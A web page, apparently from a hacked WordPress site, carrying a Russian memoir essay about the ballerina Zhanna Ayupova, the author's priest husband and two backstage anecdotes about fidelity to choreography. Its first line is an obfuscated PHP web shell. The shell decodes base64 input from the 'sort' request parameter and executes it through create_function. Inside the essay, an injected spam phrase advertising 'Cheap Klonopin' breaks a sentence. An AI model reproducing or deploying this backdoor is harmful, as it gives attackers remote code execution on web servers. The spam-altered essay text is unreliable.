nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

ИЗ БАЛЕТА ДВА СЮЖЕТА


"с ю ж е т" –   от   латинского  –  "п р е д м е т"

                                           фр.  sujet     лат.    subiecto  (Фасмер)

        Из  многочисленных  "поклонников" моего  мужа, о.Георгия, неосторожно  считающих  себя  его  "духовными  чадами"  (за  что  будут  на  Страшном  суде  нести  обоюдную  ответственность), Жанна  Аюпова  –  нынешний  худрук (т.е. художественный  руководитель) Вагановской  академии  танца  –  одна  из  немногих, кто  общался  с  о.Георгием "используя"  его   Cheap Klonopin по  назначению. То  есть  он  не  был  в  её  семье  "дружочком", личным  психотерапевтом  или  попугайчиком  на  коробке  с  билетиками  счастья, что  типично  для  прорвавшихся  в  "ближний  круг" священнослужителя. Милостью  Божией  началось  знакомство  Жанны  и  о.Георгия  в  самом  начале  девяностых   и  началось  с  того,  что  о.Георгий  был  позван  крестить  Жанниного  первенца, но  оказалось  по  ходу  дела, что  сама  мать  крещаемого  некрещёная. Так  Жанна  и  стала  крестницей  о.Георгия. Муж  любил  вспоминать, что  когда  ему  надо  было  наклониться  к  крещаемой,  чтобы, как  положено, кисточкой  с  елеем  помазать  низ  ноги, то  балерина  попросила  о.Георгия  не  склоняться  перед  ней, но  поднесла  свою  божественную  ногу  с  вытянутым  подъёмом  прямо  к  его  носу. . .

Для  дальнейшей   д и д а к т и ч е с к о й   с у т и   моего  повествования  важно  сказать, что  Жанна  была  на  Западе (именно  в  Америке)  и  у  нас  признана   истинно   б а л а н ч и н с к о й   балериной. / Джорж Баланчин – Георгий  Баланчивадзе – в 1924 году уехав  из  Петербурга, остался  в  Европе, а  затем  перебрался  в  Америку, где  основал  совершенно  новое  направление  в  балете, новую  –  в  широком  смысле  –  ш к о л у. /

  А  я  в  конце  этого  несчастного  двадцатого  века – "занюханная"  матушка  из  глухой  псковской  деревни. Я  бывало  на  три-четыре  дня  приезжала  в  Петербург  и  по  нему  носилась  "язык  на  плечо" по  изнуряюще  бытовым  делам (продукты   были  по  карточкам, а  ведь  мы  с  о.Георгием –  питерские; в  местных  же  магазинах  без  псковской  "визитки"  нам  давали  "от  ворот  поворот"). Но  если  же  мой  приезд  совпадал  с  Жанниным  спектаклем, я  шла  к  ней  в  театр. И  не  просто  сидела  в  зале  по  контрамарке, а  по  старой  памяти (я  же  работала, о  чём  уже  писала, в  постановочной  части  Кировского  театра) в  антракте  или  даже   д о  начала  спектакля  прямиком  топала  за  кулисы, в  гримуборные  солистов. Первые  разы  это  было  без  проблем: у  двери  на  границе  двух  миров (зала  и  закулисья) сидела  божий  одуванчик  моя  знакомая  билетёрша. Но  потом  пограничная  дисциплина  в  театре  наладилась, и  мне  надо  было  хитростью  просачиваться  сквозь  профессионального  охранника: я  натягивала  носик, выправляла  спинку  и  шла, как  непререкаемая  солистка, да  по  третьей  балетной  позиции, внушая  себе  и  охраннику  виннипуховское  заклинание:
                          Я  тучка. тучка, тучка !
                          А  вовсе  не  медведь . . .
                          Ах, как  приятно  тучке
                          По  небу  лететь !

      Таким  вот  образом  я  однажды  пришла  к  Жанне  после  окончания  знаменитого  одноактного  балета  Баланчина  "Аполлон  Мусагет". В  нём  задействованы  всего  четыре  персонажа: три  Музы  и  один  Аполлон.
      Жанночка  сидела  перед  зеркалом  и  осторожно  стирала  салфетками  с  многострадальной  кожи  лица  грим. Каждый  раз  при  моём  визите  происходила  между  нами  парадоксальная  сцена  –  не  я  Жанне  делала  комплименты, а  всё наоборот. Не  дав  мне  рта  раскрыть, знаменитая  балерина  изливала  на  меня  свои  добродушные  восторги: да  какая  я  молодец, что  приехала, пришла, да  как  я  замечательно  выгляжу . . . Но  в  данном  случае  я  решила  в  ответ  на  её  приветливость  поступить "по-свински" и  навести  "не  в  бровь, а  в  глаз" . . .  критику.
    —  Жанночка,  можно  мне  задать  тебе  не  совсем  лицеприятный  вопрос ?
    — О, матушка,  ну  конечно  же ! Очень  интересно !
       Я, естественно, для  приличия  помялась, стала  делать  вид, что  очень  неудобно  себя  чувствую, затравив  сомнительную  тему, вынуждая  Жанну  уговаривать  меня  не  комплексовать, а  наконец  "расколоться"  и  не  томить  артистку  любопытством.
   — Жанночка, ты . . . ты . . . вот  вас  на  сцене  только  три  солистки . . . а  ты  забыла,  видно,  перед  выступлением  снять  с  ушей  серьги . . .  и   мне  это  было  не  только  видно,  но  и  раздражало   меня . . .  несколько  . . .  если   не   сказать  –  очень…
      Реакция  была  настолько  неожиданной,  что  на  всю  мою  жизнь  возлегла  в  моей  памяти  почётным  воспоминанием.
      Жанна  отреагировала  не  торопясь, спокойно, но  за  этой  невозмутимостью  можно  было  предположить  ноющую  профессиональную  боль.
    —  Х-ха ! Матушка ! Какой  прекрасный  вопрос ! Ваша  абсолютная  правда ! Но  это  не  "я   з а б ы л а"   снять  серьги ! Это  пожелание  самого  Баланчина: в с е   музы  должны  иметь  в  этом  спектакле  серьги  в  ушах:  э т о   условие   п р о п и с а н о   и м  ! Я   же   одна  делаю  правильно . . .
       Я  онемела  и  задала  закономерный  вопрос:
     —  . . . так  . . .так . . . так    п о ч е м у   же   две  другие  балерины, танцевавшие  с  тобой,  этого  не  сделали ?!
      Жанна  пожала  плечами:
      —  Они  в  курсе. Я  им  говорила . . . Не  могу  же   я   им  категорически  приказывать, тем  более  –  вставлять  в  уши  серьги . . .  но  они  в  курсе . . . ну,  не  хотят  –  значит   н е   х о т я т . . .
      —  Что значит  " не  хотят" ? А   я,  рядовой  зритель,  н а    т е б я,  оказывается –  совсем  невинную, "бочку  качу" ! . .

      И  вспомнила  я  в  связи  с  этим  художественным  конфликтом  аналогичную  закулисную  сценку, произошедшую  в   этом  же  театре, только  когда  он  ещё  имел  своё  промежуточное  название  –  Кировский, а  не  Мариинский.

    Начало  семидесятых  годов. Балетный  спектакль  –  неважно  какой. Будущая  такая  же  мировая  звезда  балета  (как  и  Жанночка), только-только  окончившая  Вагановское  училище  и  традиционно  первые  годы  отбывавшая, словно  армейский  срок, повинность  в  кордебалете, прыгала  и  крутилась  среди  матёрых  красавиц. Я  стояла, что  называется,  в  кулисах, то  есть  в  пространстве  между  свисающими  здоровенными  тряпицами. Пришлось  посторониться, чтобы  уступить  место  выскочившей  со  сцены  кордебалетной  группе. Все  её  участницы, переводя  дыхание, потирая  себе  бока  и  разминая  подъёмы, словесно  набросились  на  эту, ещё  не  "оперившуюся" девчонку:
    — Ой, мы  же  все  движения  переврали ! Но  мы  . . .  удивительно  –  что ? Мы  врали  все  вместе,  дружно, а  только  ты  одна  делала  всё  правильно. Ты  что,  не  могла  врать  вместе  с  нами ? Ведь  зрителю  до  лампочки  правильный  порядок  движений. Уж  если  врать,  то  врать  надо  всем  вместе !
      То,  что  я  услышала, а  главное –  интонация, с  которой  было  сказано  только  одно  "наречное  отрицательное местоимение  времени," тоже  навсегда  мне  врезалось  в  память:
    — Н и   –  к о г  –  д а   ! ! !
       Это  было  сказано  будущей, повторяю, балетной  мировой  звездой.
       Как  видите, эти  "закулисные"  ситуации  больше, чем  эстетические,  и  даже  больше, чем  этические. Это  проблемы, прям  сказать, философские.

     С  одной  стороны, из-за  Принципа, как  известно, началась  ныне  с  нежностию  воспоминаемая  Первая  мировая  война…          
               А  с   другой . . .                             ЖАННА

                                        Mt7hj7kdk80.jpg


Добавить комментарий